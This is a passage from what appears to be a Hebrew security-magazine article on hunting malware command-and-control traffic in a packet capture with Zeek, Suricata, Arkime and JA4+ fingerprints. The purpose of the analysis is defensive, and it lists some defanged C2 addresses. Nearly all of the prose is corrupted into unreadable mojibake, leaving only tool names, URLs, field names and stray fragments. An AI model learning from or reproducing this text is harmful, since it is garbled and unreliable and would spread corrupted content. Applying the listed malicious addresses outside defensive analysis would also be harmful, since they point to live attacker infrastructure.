˸ˣ˞˶˪ ˸˞  ˸ ˟ˣ˸˩ˢ рώΦϐнрнΦмроΦнпм  ˢ˪˧˟ˣˬ˷  ˸ˡ˶ˣˢ˪ s πtŀȅƭƻŀŘ  ˧ ˮˣˡˤˢ ˢˡˬ˰˪ Υ 

 

 

ϐ˶ˣ˧˞ о  π ˡˣˬ˰ ˠˮ˧˷˧˲ˢ  ˸ˡ˶ˣˢˣ W{   ˧ ˮˣˡˤ ώ 

 

˱ˣ˯˟˪ ΣπstŀȅƭƻŀŘ ˠ˞ˡ˧   x ˸ˣˡ˧˶˷˪ ˪˰  s ˡˬ˰ˢ  ˸ ˣ˰˴ˬ˞˟ ˳˟ˣ˵ ˢˤ˥˸ˬˢ ˪¢ŜŀƳ±ƛŜǿŜǊ Υ 

 

ϐ˶ˣ˧˞ н  π ˨˷ˬˢ  ˸ˣ˪ˣ˰˲ ˸ˣ˧ˮˣˡˤ ώ 

 

http://www.digitalwhisper.co.il/
https://x.com/Unit42_Intel/status/1882448037030584611
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˥ˣ˸˧ˮ PCAP ˫˧˪˩˟ ˫˧ˬˡ˵˸ˬ 

˪˧˥˸ˮ  ˶ˣ˵˥˪  ˸˞   sπt/!t  ˪˰ ˸ˮˬ  ˸ˣˢˤ˪  ˸ˣ˧˪ˬˣˮ˞  ˸ˣ˶ˣ˷˵ˢ  ˰ˣ˶˧˞˪  Φˡ˵ˬ˸˞  ˸ˠ˴ˢ˟  ˰ˡ˧ˬ  ˧˦ˮˣˣ˪˶   ˥ ˣ˸˧ˮ˪  

˸ˣ˧˪ˬˣˮ˞ ˨ˣ˸ˬ ˵˷ˬˬ ˢ˶˧˵˥ˢ ˪˷  aŀƭŎƻƭƳ - ˭s sπ5ŀǎƘōƻŀǊŘ  ˭ˢˣ !ǊƪƛƳŜ Φ 

{ŜŎǳǊƛǘȅ hǾŜǊǾƛŜǿ Υ 

 

 

 ˫ ˧˷˶˸   ˧ ˪˞ˬ˷   -  ˢˮ˟ˢ  ˸˧˪˪˩  ˧˩  ˸ˬ˧˧˵  ˸˶ˣ˷˵˸  ¢[{  ˢ˟˶  π˟t/!t  Φ ˱ ˯ˣˮ˟  ˸˶ˣ˷˵˸˪  ˢ˩ˣ˶˞ξ ˸ ˶ˣ˷˵˸  

/нξˢ˲˧˵˸  ˣ˩ˣΦϥ 

 ˫ ˧˷˶˸ ˧ˮˬ˧  -˸ˣ˞˶˸ˢ ˪˷  ½ŜŜƪκ{ǳǊƛŎŀǘŀ 

˪˩ˣˮ  ˸ ˣ˞˶˪ ˸˞  ˦ ˣ˶˧˲ ˢ˞˶˸ˢˢ ˢˬ˧˞˸ˬˢ ˢ˧˶ˣˠ˦˵˪ ˸ˠ˴ˣˬˢ  ˱ ˶ˠ˟ ˧˪˞ˬ˷ˢ Φ 

¶ Zeek  -  ˶ ˧˰ˬ ˪˰ ˸ˣˡˣ˰˸ ˸ˣ˧ˣˠ˷ Σ ˸ ˶ˣ˷˵˸ ˢ˩ˣ˶˞  ˫ ˠˣ ˢ˲˧˵˸ ˠˣ˯ˬ  DiscoveryΦ 

¶ Suricata  -  ˯˥˧˧˸ˬ  ˪˶ˠ˞ˬ  ˧˵ˣ˥  ˢ˪˧ˢ˵ˢ  -  Emring Threat Ruleset  ˶˷˞  ˣˡ˰ˣ˧  ˶ˣˤ˰˪  ˭ˣˠ˶˞˪   ˸ ˣˢˤ˪  

˸ˣˮ˩˯  ˸ ˣˮˣ˷ Υ˸˶ˣ˷˵˸   ˪ ˷  ˸ ˣ˧˴˵˧˪˲˞ ˞˪  ˸ ˣ˷˶ˣˬ Σ ˸ ˣ˪ˣ˰˲ ˸ˣ˶˩ˣˬˢ ˸ˣ˪ˣ˰˲˩  ˸ ˣ˧ˮˣˡˤξ˸ˣˡˣ˷˥ύ Φ˶ˣ˵ˬ ό 

 

˭˞˩ˬ   ˪ ˩ˣˮ  ˡ˵ˬ˪  ˸˞   s ˶˧˵˥ˢ  ˣˮ˪˷  ˵ˣˡ˟˪ˣ  ˸˞   ˸ ˣ˞˶˸ˢˢ  ˸ˣˮˣ˷ˢ   ˪ ˰  ˸ˮˬ  ˭ˣ˥˟˪   ˸ ˞   ˶ ˞˷  ˫˧˦˶˲ˢ   ˫ ˧ˮ˩˦ˢ  

˪˷  ˨˧˪ˢ  ˢ˵˟ˡˢˢ  ύˢˬˣˡ˟  ˢˬ˪  ˧˸˶˞˧˸˷  ˫˧˵˶˲˟  ˫˧ˬˡˣ˵ˢ  Φό˧ˮ˞  ˠ˪ˡ˞  ˪˰  ˵˪˥ˢ  ˮˢϦ ˪  ˪˰  ˸ˮˬ   ʕ ˩˶˸ˢ˪  

 ˨ ˧˪ˢ˟ ˢ˶˧˵˥  ˯ ˯ˣ˟ˬˢ ˪˰  ˸ ˣ˧˪ˬˣˮ˞  ˷ ˣˬ˧˷ˣ ˟πW!пҌ Φ 

 

 

 

 

http://www.digitalwhisper.co.il/
https://github.com/seanlinmt/suricata/tree/master/files/rules
https://forum.suricata.io/t/emerging-threats-pro-open-ruleset-for-suricata-7-0-3-now-available/4714
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˥ˣ˸˧ˮ ˸ˣ˧˪ˬˣˮ˞ ˫˰ aŀƭŎƻƭƳ 

{ŜŎǳǊƛǘȅ hǾŜǊǾƛŜǿ πҔ CƛƭŜ ¢ǊŀƴǎŦŜǊǎ Υ 

 

 

¶ Application/x-dosexec  -   ɣ ˴˧˧ˬ  Windows Executable files  Φ ˪ ˣ˩˧   ˷ ˬ˷˪   ˸ ˶˟˰ˢ˪  ˢ˵ˤˣˮ  Σ ˪ ˷ˬ˪  

ϦOfficeActivate.bin/MedlaTable.binύ ΦϦ˶ˣ˵ˬ ό 

¶ Text/html  -  ˧˦˶ˡˮ˦˯  ˢ˷˧˪ˠ˟  ˸˷˶˟  Φ˪ˣ˩˧  ˸ˣ˧ˢ˪  ˡˣˬ˰  Phishing  ˣ˞  ˷ˣˬ˧˷  ˸ˣ˷˪ˣ˥˟  ˸ˣ˰˟ˣˮˢ   s ˩˧ˬ˸ˬ  

˧˲ˡ˟ HTMLύ Φ˶ˣ˵ˬ ό 

¶ Application/ocsp-response  -  ˷ ˬ˷ˬ ˧ˣˢ˧ˤ˪ ˸ˣˡˣ˰˸  ˸ˣˮ˧˵˸Φ 

o ˢ˞˶ˮ  ˸ ˶ˣ˟˰˸˟ SSL/TLS  ˨˧˪ˢ˸˟  ˸ˣˬ˧˞ ˢˬ˧˸˥ Φ 

o ˪ˣ˩˧  ˶˷˲˞˪ ˶ˣ˦˧ˮ  ˪˰ ˸ˣ˟ˣ˸˩  Blacklistedύ Φ˶ˣ˵ˬ ό 

¶ Text/plain   -  ˸˶˟˰ˢ  ˰ˡ˧ˬ  ˧˪˞ˣ˦˯˵˦   ύ˪˷ˬ˪  ˳˟ˣ˵  .txt  ό˪ˣ˩˧  ˷ˬ˷˪  ˸˶˟˰ˢ˪  ˭˩ˣ˸  π˪Powershell script  Σ

 ˧ ˴˟˵ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ύ Φ˶ˣ˵ˬ ό 

¶ Application/vnd.ms-cab-compressed  -  ˡ˰ˣ˧ˬ  ˧˴˟˵˪  ˭ˣ˧˩˶˞  ˫˧˩ˬ˸ˮˢ   ˰Ϧ ˧ Microsoft   ˫ ˧ˡ˰ˣ˧ˬˣ  

˸˴˲ˢ˪  ˫ ˧ˮˣ˩ˡ˰ξ˫˧˶˟˧˧˶ˡ  Φ˪ˣ˩˧ ˷ˬ˷˪   s ˞˟˥ˢ˪  ˪ ˷ ˸ˣ˵ˤˣˮ  ˪˰ ˸ˮˬ   ˵ ˬ˥˸ˢ˪ ˧ˣˢ˧ˤˬύ Φ˶ˣ˵ˬ ό 

¶ Application/chrome-ext  -  ˡ˰ˣ˧ˬ  ˰ˡ˧ˬ˪   ˶ ˣ˟˰  ˫˧˲˯ˣ˸  ˪˷  ˭˲ˡ˲ˡ  Chromeύ Φ˶ˣ˵ˬ  ό˪ˣ˩˧  ˷ˬ˷˪  ˸˯ˮ˩ˢ˪  

 ˸ ˣˬˣ˯˶˲ξ˪ˣˠ˧˶  ˸˟˧ˮˠˣ  ˰ ˡ˧ˬξ˟ˣ˸˧ˮ  ˸˶ˣ˟˰˸ ˰ˡ˧ˬΦ 
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https://security.stackexchange.com/questions/104890/ocsp-responder-servers-and-malicious-site-blocking
https://www.mdpi.com/2076-3417/12/8/4088
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/ƻƴƴŜŎǘƛƻƴǎ πҔ /ƻƴƴŜŎǘƛƻƴǎ - ¢ƻǇ мл - ¢ƻǘŀƭ .ȅǘŜǎ .ȅ 5Ŝǎǘƛƻƴŀǘƛƻƴ LtΥ 

 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˧˩  ˶˵˧˰  ˰ ˡ˧ˬˢ ˶˟˰ ˸˟ˣ˸˩˪ ˣˮ˧ˢ˧ˤ˷ ˸˶˷˩ ˣˮˬˬ ˰˧ˠˬ sπtŀȅƭƻŀŘ Φ 

˱˯ˣˮ˟ Σ˸˟ˣ˸˩ˢ  ˫ ˣ˵ˬ˟ ˧ˮ˷ˢ  ύпрΦмнрΦссΦон  ό˫ˠ ˢ˰˧˲ˣˬ ˩ πLƻ/   ˸ ˶ˣ˷˵˸˪  ˪ ˣˬ /н Φ 

 

!Ŏǘƛƻƴǎ ŀƴŘ wŜǎǳƭǘǎ πҔ ¢ƻǇ !ŎǘƛƻƴǎκwŜǎǳƭǘǎ ōȅ {ŜǊǾƛŎŜΥ 

 

  

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  по 
 

˶˸ˣ˧  ˦ˣ˶˧˲˟Υ  

 

 

˪˩ˣˮ  ˸ˣˢˤ˪  ˸ˣ˧ˣˠˢˮ˸ˢ  ˸ˣˮˣ˷  ˸˞˴ˣ˸ˬ  ˭ˣ˧˯˧ˮ  ˸ˣ˶˟˥˸ˢˢ  ύ˪˷ˬ˪  ˪˪˩  ˸ˣ˷˵˟  πsI¢¢t   x ˧ˢ  D9¢  Σ˪˩   ˸ ˣ˷˵˟  

πs/ƻƴƴŜŎǘ  x ˰˟ˮ ˬπ¢[{ Φό 

˟ˣ˶  ˸ˣ˷˵˟ sπI¢¢t  ˣ˪˟˧˵ bƻǘ CƻǳƴŘ ˡˣ˰˟ ˤˣ˥˞ ˡˡˣ˟ ˥˧˪˴ˢΦ 

 

{ǳǊƛŎŀǘŀ !ƭŜǊǘǎ πҔ !ƭŜǊǘǎ - {ƻǳǊŎŜ Υ 

˭˞˩ ˪˩ˣˮ  ˸ˣ˞˶˪  ˸˞  ˤˣ˩˧˶ ˸ˣ˟ˣ˸˩ˢ  ˣ˴˧˲˵ˢ˷  ˸ ˣ˞˶˸ˢ {ǳǊƛŎŀǘŀ ˸ˣˮˣ˷Υ  

 

 

˱˯ˣˮ˟  ˪ ˩ˣˮ ˸ˣ˞˶˪ Lƻ/  ˱ ˯ˣˮ ˞˪˷ ˣˮ˧ˢ˧ˤ  ˫ˡˣ˵  - ˭˩˷ ˢ˞˶ˮ˩   ˶ ˟ˣˡˬ ˭ˣ˧˯˧ˮ˟  ˶ ˣ˟˧˥ ˪˷˩˷  ύпрΦмнрΦссΦнрн ό 

 

Zeek Notices -> Notices - Notices Types by Source & DestinationΥ 

˪˩ˣˮ ˫˧˷˪   ˟ ˪ ˧˩ ˪˟˵ˮ ˢ˞˶˸ˢ ˪˰   ˸ ˣˬ˧˸˥ {ŜƭŦπǎƛƎƴŜŘ ˸ˣ˞˴ˬˮˢ ˷ˣˬ˧˷˟ ˡ˟Ϧ˩  Ϧ˰ ˧ ˸ˣ˵ˤˣˮΦ 

ˢˡ˧ˬ˟   ˶ ˦˪˲ˮˣ   ˸ ˞   ˭ ˣ˪˥ˢ  ˫˞˸ˢ˟   s ˞˶˸ˢ˪  ˪˷  ǎŜƭŦ ǎƛƎƴŜŘ ŎŜǊǘƛŦƛŎŀǘŜ   ˪ ˩ˣˮ  ˸ˣ˞˶˪   ˧ ˩  н  ˸ˣ˟ˣ˸˩  πsLƻ/  

˸ˣ˰˧˲ˣˬΥ  
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˥ˣ˸˧ˮ W!пҌ ˫˰ !ǊƪƛƳŜ 

˵˪˥˟  ˞˟ˢ   ˫ ˧ˠˡ˞  ˸˞  ˭˲ˣ˞  ˢ˶˧˵˥ˢ  ˰ˣ˶˧˞˪  ˦˯ˣ˲˟  ˧˸˲˶˧˴˷  Φˢ˞˶˞  ˡ˴˧˩   ˪ ˩ˣ˞  ˷ˬ˸˷ˢ˪   ˟π!ǊƪƛƳŜ ύIŀƴŘǎπƻƴ ό˧ˡ˩˟  

˸ˣˢˤ˪ ˸˞ ˸ˣˬ˧˸˥  sπW!пҌ ˶˷˞  ˸ˣ˶˷˲˞ˬ ˣˮ˪  ˡˣ˴˪ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˣ˶˩ˤˣˢ˷  ˩πLƻ/ύ Φ˸ˣ˰˧˲ˣˬ ˡˣˬ˰˟  πst/!t ό 

˵˪˥˩  ˨˧˪ˢˬ  ˢ˶˧˵˥ˢ  ˢ˷˰˞  ˷ˣˬ˧˷  ˵˷ˬˬ˟  πs{tL±ƛŜǿ   ˟π!ǊƪƛƳŜ  Φˣ˸˧˞  ˪˩ˣ˞  ˸ˣ˞˶˪  ˸ˣˠ˪˲˸ˢ ˫˧˩˶˰  ˫˧ˮˣ˷   ˫ ˞˸ˢ˟  

˸ˣˡ˷˪ ˫˧ˮˣ˷ Φ 

˭ˣ˶˸˧ˢ  ˧˸ˣ˰ˬ˷ˬˢ  ˪˷  ˢ˶˧˵˥  ˸˯˯˟˸ˬˢ  ˪˰  W!пҌ  ˪ˣˬ  W!о  ˞˧ˢ  ˸ˣ˶˷˲˞ˢ  ˰˴˟˪  ˢ˶˧˵˥  ˞˪˷  ˸˯˯ˣ˟ˬ   ˪ ˰  

˸ˬ˞˸ˢ  Lƻ/  ύ˶˷˞  ˧˸ˠ˴ˢ  ˧˩  ˢ˪ˣ˩˧  ˶˴˧˧˪  Ct  ϐ˸ˣ˪˧˲˩  π˟W!о CƛƴƎŜǊǇǊƛƴǘ  ώˣ˞  ˵˶  ˧˶˷˵ˢ˟  ˸˶ˣ˷˵˸   ˸ ˮ˲˴ˣˬ  

ϐ¢[{ Φόώ 

˵˶˲˟ ˞˟ˢ  ˠ˧˴˞  l ˴˧˩ ˰˧ˠˮ  ˢ˪˪˲ˢ˪ ˪˷  ˸ ˣ˟ˣ˸˩ ˰ Ϧ ˧˸ˮ˟ˢ ˨˧˞ˢ  ˧ˬˣ  ύ˥ˣ˸˧ˮ s πaŜǘŀŘŀǘŀ  όˢ˶ˣ˟˰˸˟ ˰ˡ˧ˬˢ  Φ 

˨˧˞ˢ  ˧ˬˣ  ˞˦˟˸˧  ˥ˣ˸˧ˮ˩  ˟˶π˧ˡˬ˧ˬ  ˶˷˲˞˧˷  ˣˮ˪  ˪˧˪˲ˢ˪  ˸ˣˠˢˮ˸ˢ   ˸ ˧ˮˣˡˤ  ˸˶ˣ˟˰˸˟   ˸ ˷˶  ˸ˣ˩ˤ˟   ˸ ˣ˯˥˧˧˸ˢ  

˯ˬ˪ ϥ˸ˣ˟˩˷ ˰ˡ˧ˬ Φ 

 

˸ˣˬ˩ ˰ˡ˧ˬˢ ˧˲˪ ˸ˣ˟ˣ˸˩  {ǊŎκ5ǎǘ x˞ tƻǊǘǎ Υ 

 

 

˭˥˟ˮ ˰ˡ˧ˬ ˧˪˪˩ ˪˰ ˸ˣˬ˩ ˰ˡ˧ˬˢ ˶ˣ˷˵ˢ  ˸ ˣ˟ˣ˸˩˪Υ  

¶ ˷˧ ˸˟ˣ˸˩ ˸˧ˮˣ˴˧˥  ˫˰ ˭ˣˬˢ ˰ˡ˧ˬ ˨˧ˣ˷ˬ ˢ˧˪˞  5[.]252.153.241 

¶ ˦˶ˣ˲ ˞˪  ˶ ˩ˣˬ -  нфмт 

˸˰˩ Σ l ˣ˴ˮ ˸˞ ˸ˣ˧˪ˬˣˮ˞ˢ ˸ˣˮˣ˷ˢ ˣˮ˶˩ˢ˷  ˨˶ˣ˞˪ ˶ˬ˞ˬˢ ˪˰ ˸ˮˬ ˸ˣ˯ˮ˸ˢ˪ ˢˡˣ˟˰˟  ˫˰   ˸ ˪˧˟˥ sπW!пҌ Φ 
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˸ˮ˧˥˟ ˸˶ˣ˟˰˸ I¢¢t ύW!пI ό- ˧ˣˢ˧ˤ ˸˶˷ /н ˸ˠ˷ˢ˪ tŀȅƭƻŀŘ 

ˣˮ˟ˢ ˪˧ˠ˶˸˟˷ ˶˟ˣˡˬ ˪˰  ˢ˷˧ˠ  ˶ ˸˞˪ tƘƛǎƘƛƴƎ  - ˧˪ˣ˞ ˢ˞˶ˮ ˣˢ˷ˬ  ˶ ˤˣˬ ˰ˡ˧ˬ˟ ˶ˣ˷˵ˢ  ˫˷˪Κ  

˶˷˲˞  ˸ˣ˞˶˪ ˭ˣˬˢ ˸ˣ˷˵˟ ˣˮ˰ˮ˷ ˢ˞˧ˠ˷˟  - плп Φ 

 

 

˟ ˭˧˥˟ˮ ˭˩ ˣˬ˩ˢ˷˧ˠ   ˦ ˲˧˶˵˯˪ tƻǿŜǊǎƘŜƭƭ όǇǎмύ   ˨ ˶ˡ ˸˟ˣ˸˩ˢ ˢˡˣ˷˥ˢ ˣˮˠ˴ˢ˷  ˫ˡˣ˵ Φ 

˪˩˸˯ˮ ˪˰  ˸ ˣˡ˷  ˫ ˧˲˯ˣˮΥ  

 

 

¶  s ˧˪ˬˣˮ˞  π  ˢˡ˷  πsHostname   l ˰ˣˮ  ˧ˡ˩˟   ɣ ˧˴ˢ˪   ˫ ˷  Domain  ˞˪ˣ  ˸˟ˣ˸˩  IP  Ϧ˲˰  ˸ˣ˶ˡˠˢ  ˪˷   ˪ ˣ˵ˣ˦ˣ˶˲  

HTTP 1.1ύ Φ˶ˣ˵ˬ  ό 

¶ ˪˩  ˸ ˶ˣ˷˵˸ˢ sπWeb ˸˯˯ˣ˟ˬ  ˪ ˰ ˪ˣ˵ˣ˦ˣ˶˲ HTTP 1.1 Φ 

¶ ˢ˧˪ˬˣˮ˞  π ˫˧˧˵  Agent-User  ˡ˧˰ˬ˷ ˪˰  ˷ ˣˬ˧˷ ˟πIEύ Φ ˶ ˣ˵ˬό  

 

 ˸ ˬ˧˸˥ W!пI 

 

 

http://www.digitalwhisper.co.il/
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μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  пс 
 

˧ˮ˲˪  ˦˶˲˞˷  ˸˞  ˰ˡ˧ˬˢ  ˭˸˧ˮ˷  ˵˧˯ˢ˪  ˢˬ˧˸˥ˢˬ,  ˢ˞˶ˮ   s ˬ  ˞˴ˬˮ  ˫˞  ˷˲˥ˮ   ˰ ˡ˧ˬ  ˪˰  ˢˬ  ˶ˣ˷˵˷   s ˬ˧˸˥˪  

˧˩ˢ ˢ˥˧˩˷ Υ 

 

 

˪˩ˣˮ  ˸ ˣ˞˶˪ ˧˩ ˞˧ˢ ˢ˰˧˟˴ˬ  ˪˰  ˸ ˟ˣ˸˩ˢ ˢˡˣ˷˥ˢ ˣˮ˪˷Υ  

 

 

˭˥˟ˮ  ˡ˴˧˩  ˪˩ˣˮ  ˵˧˯ˢ˪   ˸ ˣˮ˵˯ˬ  ˪˰  ˥ˣ˸˧ˮ  ˸ˣˡ˷  πsI¢¢t   ˟πt/!t  ˣˮ˸ˣ˷˶˟˷  Σ ˰Ϧ˲  ˢˮ˟ˬ  ˢˬ˧˸˥ˢ  ˪˩ˣˮ   ˵ ˧˯ˢ˪  

˧˩Υ  

¶ JA4H_c  ϧJA4H_d  - ˫˞ ˫ˢ   ˫ ˧˯˲ˣ˞ˬ ˶˷˲˞  ˵˧˯ˢ˪ ˧˩  ˭˧˞  Cookie   ˸ ˣ˷˵˟˟ ˮˢϦ˪ Φ 

o ˸ˣ˰˴ˬ˞˟  ˸ˣˡ˷ˢ   ύc  ό˭˸˧ˮ  ˸ˣˢˤ˪   ˸ ˞  ˸˶ˣ˷˵˸ˢ  ˸˶ˤ˰˟  ˸ˣˡ˷  ˢ˧˧ˠˣ˰ˢ   ˪ ˷  ˸˶˷ˢ  -  ˪ˣ˩˧  ˷ˬ˷˪   l ˧˴˪  

˧˲˪ ˧ˮ˧˧˲˞ˬ ˸˶˷ˢ Φ 

o ˸ˣ˰˴ˬ˞˟ ˸ˣˡ˷ˢ ύd ό ˭ ˸˧ˮ ˸ˣˢˤ˪ ˸˞ ˷ˬ˸˷ˬˢ  ύ˪˪ˠ˟ ˫˧˩˶˰ˢ ˫˧˧˲˧˴˲˯ˢ Φό 

¶ JA4H_a π ˟ˣ˶ ˸ˣ˷˵˟ˢ  ˭ ˢ ˸ˣ˷˵˟ Get   ˞ ˯˶ˠ˪ мΦм  ˞ ˪˪ Cookie\Referer Φ 

o ˫˪ˣ˩  ˞˪  ˣ˶˧ˡˠˢ   ˸ ˞  ˢˡ˷  πsAccept-Language  -  ˡ˧˰ˬ   ˪ ˰  ˸˶ˣ˷˵˸  ˵˷ˬˬ˪   ˞ ˪  ˧˷ˣˮ˞  Σ˪ˣ˩˧   l ˧˰ˢ˪  

˪˰ Bot  x ˞ ˧˸ˣ˶˧˷ ˸˷˶ ˫˧ˮˣ˷ Φ 

¶ JA4H_b - SHA256 ˪˰  ˸ ˣˡ˷ˢ Σ˶ˡ˯˟ x˟ ˣ˰˧˲ˣˢ Φ 

¶ ˳˪ˬˣˬ ˷ˬ˸˷ˢ˪ ˟πJA4H_ab  ˧ˡ˩ ˸ˣˢˤ˪ Bots Φ 

¶ ˟ˣ˪˧˷  ˪˷ JA4H  ˫ ˰ JA4/JA4S  ˪ ˣ˩˧ ˷ˬ˷˪  ˧ˣˢ˧ˤ˪ ˵˧ˣˡˬ ˪˷  ˸ˣ˧˴˵˧˪˲˞ξ˸ˣ˵ˤˣˮΦ 

˨˧˞ ˢˢˤˮ  ˸ ˞  ˸ ˣˬ˧˸˥ˢ W!пIψŀō ˸ˣ˧ˡˣ˥˧ˢ ˢ˵ˤˣˮ˪ ˸˶˷˵˸ˬ˷  ˫˰  ˸ ˟ˣ˸˩ˢ ˣˮ˧ˢ˧ˤ˷ Κ 

˭ˮ˯ˮ ˟π{tL±ƛŜǿ  ˧ ˲˪ ˸˟ˣ˸˩ˢ   x ˮ˪˪˲ˢ˷  ˪ ˩ˣˮˣ  ˸ ˣ˞˶˪ ˸˞  ˪ ˪˩  ˰ ˡ˧ˬˢ ˧˦ˮˣˣ˪˶ˢ  ˢ˧˪˞ ˶˷˵ˢ˟ I¢¢tΥ  

 

http://www.digitalwhisper.co.il/
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˸ˮ˧˥˟ ˸ˣˡˣ˰˸ ύW!п· όπx¢[{ ύW!пκ{ ό- ˧ˣˢ˧ˤ ˸˶ˣ˷˵˸ ¢[{ ˧˸˶˷˪ /н  ˸ ˲˪ˡˢ˪ ˰ˡ˧ˬ 

 ˸ ˣˠ˪˲˸ˢ sπLǎǎǳŜǊǎ ˸ˣ˰˧˲ˣˬ˷ ˢ˶ˣ˟˰˸˟ ˢˮˣ˸ˮˢ Υ 

 

 

 

 

˪˩ˣˮ  ˭ ˧˥˟ˢ˪ ˢ˧˪ˬˣˮ˞˟ ˢ˞˟ˢ Υ 

˸ˣˡˣ˰˸  ˸ˣˬˣ˸˥  ˸˧˞ˬ˴˰  ύ{ŜƭŦπǎƛƎƴŜŘ  ό-  ˣˮˠ˴ˢ  ˧˩  ˣˤ   ˨ ˶ˡ  ˪˷  ˸ˣ˵ˤˣˮ  ˭˧˲˴ˢ˪  ˸˞  ˭˸˶ˣ˟˰˸  ˸˷˶˟  ˢˡ˧ˬ˟  

 x ˪˴˰˸˧ˢˣ ˠ˧˷ˢ˪ ˢˬ˧˸˥  Ϧˢˮ˧ˬ˞ Ϧ˶˸ˣ˧ Φ 

˷˲˥ˮ ˸˞ ˸ˣˬ˧˸˥ sπW!п· ˸ˣˬ˧˞˸ˬˢ  π˪LǎǎǳŜǊ hb Σˢ˞˶ˮ ˧˩ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˷ˣ˰˷ ˷ˣˬ˧˷  ˣ˟Υ  

 

 

˸˞ˣ ˸ˬ˧˸˥ ˢˡˣ˰˸ˢ Υ 
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˸ˣˬ˧˸˥ sπ¢[{ ˪˷ ˸ˣ˶ˣ˷˵˸ˢ ˣˮ˲˴ˣˢ˷  π˟{ŜƭŦπǎƛƎƴŜŘ /ŜǊǘƛŦƛŎŀǘŜ Υ 

 

 

¶ ˸ˣˬ˧˸˥ sπJA4 ˮˢϦ ˪  ˪ ˧˟ˣ˸ ˸˞˧˴ˬ˪ ˸˟ˣ˸˩ˢ 45[.]125.66.32  ˫˧˞˸˸ˣ  ˸ˣˬ˧˸˥˪ sπJA4S  ˸ˮˬˣ˯ˬˢΦ 

¶ ˸ˣˬ˧˸˥ sπJA4 ˮˢϦ ˪  ˪ ˧˟ˣ˸ ˸˞˧˴ˬ˪ ˸˟ˣ˸˩ˢ 45[.]125.66.252  ˫ ˧˞˸˸ˣ ˸ˣˬ˧˸˥˪ sπJA4S ˸ˮˬˣ˯ˬˢ Φ 

˱ˣ˯˟˪  ˣˮ˥˪˴ˢ ύ˞˪˪ ˨ˣ˧˷  Lƻ/ ό˰˧ˠˢ˪  ˪˪˩˪ ˸ˣ˟ˣ˸˩ s π/н ˰Ϧ˧ ˥ˣ˸˧ˮ ˢ˧˪ˬˣˮ˞ ˸˯˯˟˸ˬ˷ ˪˰ ˢ˶˧˵˥  ˫ ˰  

˸˪˧˟˥ W!пҌ Φ 

 

ϐ˶ˣ˧˞ р  π ˸˶ˣ˷˵˸ ˪ˣˬ н  ˸ˣ˟ˣ˸˩ ˸ˣ˧ˮˣˡˤ ώ 

 

ˡˣˠ˧ˮ˟   ˷ ˣˬ˧˷˪  π˟W!о  Σ˶˷˞   ˶ ˷˲˞   x ˮ˪  ˷˲˥˪  Lƻ/  ˫˧˞˸ˬˢ   ˸ ˣˬ˧˸˥˪  ˸˶ˣ˷˵˸  πs¢[{   ˪ ˷  ˸ˣ˵ˤˣˮ  Σ x ˮ˥˪˴ˢ  

 ˪ ˧˪˲ˢ˪  ˸ ˣ˟ˣ˸˩ ˫˰  ˸ˣ˟˥˶ˢˢ ˪˷ W!п - ˭s  ˸ˬ˧˸˥˪ ˢˡˣ˰˸ ΣI¢¢t Σ¢[{  ˣ˩ˣ Φϥ 

˱˯ˣˮ˟ Σˢ˦˧˷ˢ ˶ˤ˰ s x ˮ˪ ˪˧˪˲ˢ˪  ˸ ˟ˣ˸˩ /н ˸˲˯ˣˮ  ˸ˣ˰˴ˬ˞˟ ˸ˬ˧˸˥ ˢˡˣ˰˸ˢ  ύW!п· Φό 

ˣˬ˩  ˭˩  Σ ˭ ˸˧ˮ   s ˧ˢ   ˫ ˧˷˪  ˟˪   ˧ ˩  {ǳǊƛŎŀǘŀ   ˞ ˪   ˳ ˧˲˵ˢ  ˸ˣˬ˧˸˥  W!пҌ   ˞ ˪˞  ˸ˣˬ˧˸˥   ˪ ˰  ˸ˣ˪ˣ˰˲   ˸ ˣ˧ˮˣˡˤ  ˭˸˧ˮ˷  ˵˧˯ˢ˪  

˥ˣ˸˧ˮˬ aŜǘŀŘŀǘŀ   ˪ ˷ ˸˶ˣ˟˰˸ ˸˷˶ˢΦ  

˭˸˧ˮ   ˸ ˣ˞˶˪   ˸ ˞   ˶ ˦˪˧˲ˢ   ˞ ˟ˢ   ˶ ˷˲˞ˬ˷  ˣˮ˪  ˟ˣ˵˰˪   ˶ ˥˞  ˸ˣ˟ˣ˸˩  πsLt  ˸ˣ˰ˠˣˮˢ   ˸ ˶ˣ˷˵˸˪  ˸˧ˮˣˡˤˢ  ˢ˸ˢˣˤ˷  

˭˧˧˲ˬ˵˟  ˣˮ˶˵˥˷ Υ 

 

˸ˬ˧˸˥ sπI¢¢t όW!пIύ  ˸˩˧˧˷ ˸˶˷˪ ˣ˧˪˞  ˫ ˧˷ˠ˧ˮ ˦˲˧˶˵˯ˬ sπW{ ˡ˶ˣ˧˷ ˶˸˞ˬ sπtƘƛǎƘƛƴƎ Φ 

˭˞˩ ˭˧˞ ˸˶ˣ˷˵˸  ¢[{  -  ˭˩˪ ˷ˣˬ˧˷ ˟πW!оκW!п  ˡ˟˪˟  ˞˪ ˢ˧ˢ ˯˲ˣ˸ ˸˞ˤ Φ 
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˸ˬ˧˸˥ ˢˡˣ˰˸ˢ  ύW!п· ό˸˩˧˧˷ ˸˶ˣ˟˰˸˪ sπ¢[{ ˢˮ˲˴ˣˢ˷  Ϧ˧˰ ˸ˡˣ˰˸ {ŜƭŦπǎƛƎƴŜŘ Φ 

˸ˣˬ˧˸˥ sπW!пκW!п{ ˫˧˪ˣ˩˧  ˶˷˲˞˪ ˧ˣˢ˧ˤ   ˪ ˷  ˸ ˶ˣ˷˵˸ ˢ˵ˤˣˮˢ ˪ˣˬ ˧˸˶˷ sπ/нύ Φˢˬ˞˸ˢ˟όΦ 

˰ˡ˧ˬ ˧˪˪˩ ˪˰  ˸ ˣ˟ˣ˸˩ ˡ˰˧ ˸ˣ˪˰˟ CƛƴƎŜǊǇǊƛƴǘǎ  ˣˮ˪˪˲ˢ˷Υ  

 

